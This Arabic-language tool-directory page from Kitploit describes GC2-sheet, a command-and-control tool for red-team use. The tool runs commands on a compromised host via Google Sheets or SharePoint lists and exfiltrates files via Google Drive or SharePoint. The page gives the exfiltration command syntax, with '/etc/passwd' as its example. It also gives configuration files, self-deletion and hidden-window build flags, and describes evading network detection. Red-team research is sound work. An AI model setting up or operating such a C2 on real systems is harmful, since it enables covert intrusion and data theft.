Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
GC2-sheet — GC2 هو تطبيق للتحكم والقيادة يسمح للمهاجم بتنفيذ أوامر على الجهاز المستهدف باستخدام Google Sheet أو قائمة Microsoft SharePoint، واستخراج الملفات باستخدام Google Drive أو مستند Microsoft SharePoint. | Kitploit
أدوات/GitHubGitHub/loociprian/gc2-sheet
تسريب البياناتتحليل البرمجيات الخبيثةالقيادة والسيطرةالفريق الأحمرأداة الوصول عن بعد
GitHubloociprian/gc2-sheet

GC2-sheet

GC2 هو تطبيق للتحكم والقيادة يسمح للمهاجم بتنفيذ أوامر على الجهاز المستهدف باستخدام Google Sheet أو قائمة Microsoft SharePoint، واستخراج الملفات باستخدام Google Drive أو مستند Microsoft SharePoint.

عرض المستودع
64912132منذ 2 أشهرتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

GC2

شعار

GC2 (Google Command and Control) هو تطبيق للقيادة والتحكم (Command and Control) يسمح للمهاجم بتنفيذ أوامر على الجهاز المستهدف باستخدام Google Sheet أو Microsoft SharePoint List وتسريب الملفات باستخدام Google Drive أو Microsoft SharePoint Document.

لماذا

تم تطوير هذا المشروع لتوفير أداة للقيادة والتحكم لا تتطلب أي إعداد خاص (مثل: نطاق مخصص، VPS، CDN، ...) أثناء أنشطة Red Teaming.

علاوة على ذلك، سيتفاعل البرنامج فقط مع نطاقات Google و Microsoft (مثل *.google.com) لجعل اكتشاف الشبكة أكثر صعوبة.

سير العمل

Google

سير العمل

Microsoft

سير العمل

الميزات

  • تنفيذ الأوامر باستخدام Google Sheet أو Microsoft SharePoint List كوحدة تحكم
  • تنزيل الملفات على الجهاز المستهدف باستخدام Google Drive أو Microsoft SharePoint Document
  • تسريب البيانات باستخدام Google Drive أو Microsoft SharePoint Document
  • مفتاح التدمير الذاتي و الحذف التلقائي من الجهاز المستهدف

تنفيذ الأوامر

Google

سيتم إنشاء Google Sheet تلقائيًا بواسطة C2. بمجرد إنشائه، يمكنك التفاعل مع النظام المخترق كما هو موضح أدناه.

صلاحية الورقة

Microsoft

سيتم إنشاء Microsoft SharePoint List تلقائيًا بواسطة C2. بمجرد إنشائه، يمكنك التفاعل مع النظام المخترق كما هو موضح أدناه.

صلاحية الورقة

ملف تسريب البيانات

يوجد أمر خاص مخصص لتسريب الملفات من النظام المستهدف.

root@kitploit:~
From Target to Google Drive/Microsoft SharePoint Document
upload;<local path>
Example:
upload;/etc/passwd

ملاحظة: يتم استبدال الملفات التي تحمل نفس الاسم تلقائيًا.

تنزيل الملف

يوجد أمر خاص مخصص لتنزيل الملفات على النظام المستهدف.

Google

root@kitploit:~
From Google Drive to Target
download;<google drive file id>;<local path>
Example:
download;<file ID>;/home/user/downloaded.txt

Microsoft

ملاحظة: يجب حفظ الملفات في المجلد الجذر لـ SharePoint، وعادة ما يكون "Documents"

root@kitploit:~
From SharePoint to Target
download;<SharePoint file path>;<local path>
Example:
download;download.txt;/home/user/downloaded.txt

الخروج

عن طريق إرسال الأمر exit، سيقوم C2 بإنهاء نفسه وحذف نفسه من النظام المستهدف.

ملاحظة جانبية: من وثائق os: إذا تم استخدام ارتباط رمزي لبدء العملية، وفقًا لنظام التشغيل، فقد تكون النتيجة الارتباط الرمزي أو المسار الذي يشير إليه. في هذه الحالة، يتم حذف الارتباط الرمزي.

الإعداد

يدعم هذا C2 خدمات Google (Google Sheet + Google Drive) و Microsoft (SharePoint Lists + SharePoint Document). لاستخدام C2، تحتاج إلى إعداد كل من التكوين المحلي والسحابي.

التكوين السحابي

Google

  1. إنشاء حساب خدمة Google جديد

    أنشئ حساب خدمة Google جديدًا باستخدام https://console.cloud.google.com/، وأنشئ ملف مفتاح .json لحساب الخدمة.

  2. تفعيل واجهة برمجة تطبيقات Google Sheet و Google Drive

    قم بتفعيل Google Drive API https://developers.google.com/drive/api/v3/enable-drive-api و Google Sheet API https://developers.google.com/sheets/api/quickstart/go.

  3. إعداد Google Sheet و Google Drive

    أنشئ Google Sheet جديدًا وشاركه (كمحرر) مع حساب الخدمة (باستخدام بريده الإلكتروني).

    صلاحية الورقة

    أنشئ مجلد Google Drive جديدًا وشاركه (كمحرر) مع حساب الخدمة (باستخدام بريده الإلكتروني).

    صلاحية الورقة

Microsoft

للتفاعل مع خدمات Microsoft، ستحتاج أولاً إلى اشتراك Business (يمكنك الحصول على اشتراك مجاني لأول 30 يومًا).

  1. إنشاء تطبيق Azure

    أنشئ تطبيق Azure جديدًا كما هو موضح هنا https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http

    صلاحية الورقة

    بعد إنشاء التطبيق الجديد، قم بتفعيل واجهات برمجة تطبيقات Graph التالية:

    • Sites.ReadWrite.All
    • Files.ReadWrite.All

    صلاحية الورقة

التكوين المحلي

  1. تنزيل C2

    يمكن استنساخ C2 مباشرة من GitHub:

    root@kitploit:~
    git clone https://github.com/looCiprian/GC2-sheet
    cd GC2-sheet
    
  2. تكوين C2

    لتكوين C2، تحتاج إلى تعديل ملف cmd/options.yml. يدعم C2 خدمات Google و Microsoft، كما يمكن مزجها.

    خدمات Google فقط

    root@kitploit:~
    CommandService: "Google" # Google Sheet will be used as command service to pull commands and push commands' output
    FileSystemService: "Google" # Google Drive will be used as file system to download and exfiltrate files
    GoogleServiceAccountKey : "1234567890" # your escaped json file
    GoogleSheetID: "0987654321" # your Google Sheet ID (can be found in the URL)
    GoogleDriveID: "1234554321" # your Google Drive folder ID (can be found in the URL)
    #RowId: 1 # optional, specify from which (Google Sheet or SharePoint List) row the beacon should pull new commands
    #Proxy: "http://127.0.0.1:8080" # optional, specify the proxy
    Verbose: true # optional, suggested for debugging purposes
    

    يجب تخطي مفتاح حساب خدمة Google الخاص بك قبل لصقه في ملف التكوين. يمكنك استخدام الأمر التالي لتخطيه:

    root@kitploit:~
    cat key.json | jq -r @json | sed 's/\\n/\\\\n/g' | sed 's/\"/\\"/g'
    

    خدمات Microsoft فقط

    root@kitploit:~
    CommandService: "Microsoft" # Microsoft SharePoint List will be used as command service to pull commands and push commands' output
    FileSystemService: "Microsoft" # Microsoft SharePoint Document will be used as file system to download and exfiltrate files
    MicrosoftTenantID: "567890098765" # your Azure Tenant ID where the Azure Application was created
    MicrosoftClientID: "098765567890" # your Azure Application ID
    MicrosoftClientSecret: "1234509876" # your Azure Application Secret value
    MicrosoftSiteID: "0987612345" # # your SharePoint ID
    #RowId: 1 # optional, specify from which (Google Sheet or SharePoint List) row the beacon should pull new commands
    #Proxy: "http://127.0.0.1:8080" # optional, specify the proxy
    Verbose: true # optional, suggested for debugging purposes
    

استكشاف الأخطاء وإصلاحها

يمكن اكتشاف معظم الأخطاء عن طريق تعيين علامة verbose إلى true. افتراضيًا، لا يُنشئ C2 أي مخرجات أو معلومات أخطاء.

شرائح DEF CON + عرض توضيحي

شريحة DEF CON

عرض توضيحي

عرض توضيحي بواسطة Grant Collins

إخلاء مسؤولية

مالك هذا المشروع ليس مسؤولاً عن أي استخدام غير قانوني لهذا البرنامج.

هذا مشروع مفتوح المصدر يُقصد استخدامه بإذن لتقييم الوضع الأمني ولأغراض البحث.

المستخدم النهائي هو المسؤول الوحيد عن أفعاله وقراراته. استخدام هذا المشروع على مسؤوليتك الخاصة. لا يتحمل مالك هذا المشروع أي مسؤولية عن أي خسارة أو ضرر ناتج عن استخدام هذا المشروع.

دعم المشروع

Pull request أو paypal

المساهمون

Paolo Conizzoli

مقالات متعلقة بهذه الأداة

DEF CON 32; DEF CON 32 Reddit

Google

The Hacker News

Reddit

LinkedIn

Bleeping Computer

Security Affairs

Icrewplay

Information Security Buzz

Hackdig

Hakin9

RedPacketSecurity

Cyware

Kitploit

أخبار تذكر برامج ضارة تستخدم نفس المفهوم:

The Hacker News - Voldemort Bleeping Computer - Voldemort

تنزيل الأداة

مزج خدمات Google و Microsoft

root@kitploit:~
CommandService: "Google" # Google Sheet will be used as command service to pull commands and push commands' output
FileSystemService: "Microsoft" # Microsoft SharePoint Document will be used as file system to download and exfiltrate files
GoogleServiceAccountKey : "1234567890" # your escaped json file
GoogleSheetID: "0987654321" # your Google Sheet ID (can be found in the URL)
GoogleDriveID: "1234554321" # your Google Drive folder ID (can be found in the URL)
MicrosoftTenantID: "567890098765" # your Azure Tenant ID where the Azure Application was created
MicrosoftClientID: "098765567890" # your Azure Application ID
MicrosoftClientSecret: "1234509876" # your Azure Application Secret value
MicrosoftSiteID: "0987612345" # # your SharePoint ID
#RowId: 1 # optional, specify from which (Google Sheet or SharePoint List) row the beacon should pull new commands
#Proxy: "http://127.0.0.1:8080" # optional, specify the proxy
Verbose: true # optional, suggested for debugging purposes
  • بناء الملف التنفيذي

    بعض الأمثلة حول كيفية الترجمة المتقاطعة لـ C2 لأنظمة تشغيل ومعماريات مختلفة.

    root@kitploit:~
    env GOOS=windows GOARCH=amd64 go build -ldflags "-s -w -H windowsgui"
    env GOOS=linux GOARCH=amd64 go build -ldflags "-s –w"
    env GOOS=darwin GOARCH=amd64 go build -ldflags "-s –w"
    
  • التشغيل

    بعد التجميع، قم بتشغيله.

    root@kitploit:~
    ./gc2-sheet
    

    سينشئ المنارة تلقائيًا Google Sheet أو Microsoft SharePoint List جديدًا وفقًا لتكوينك.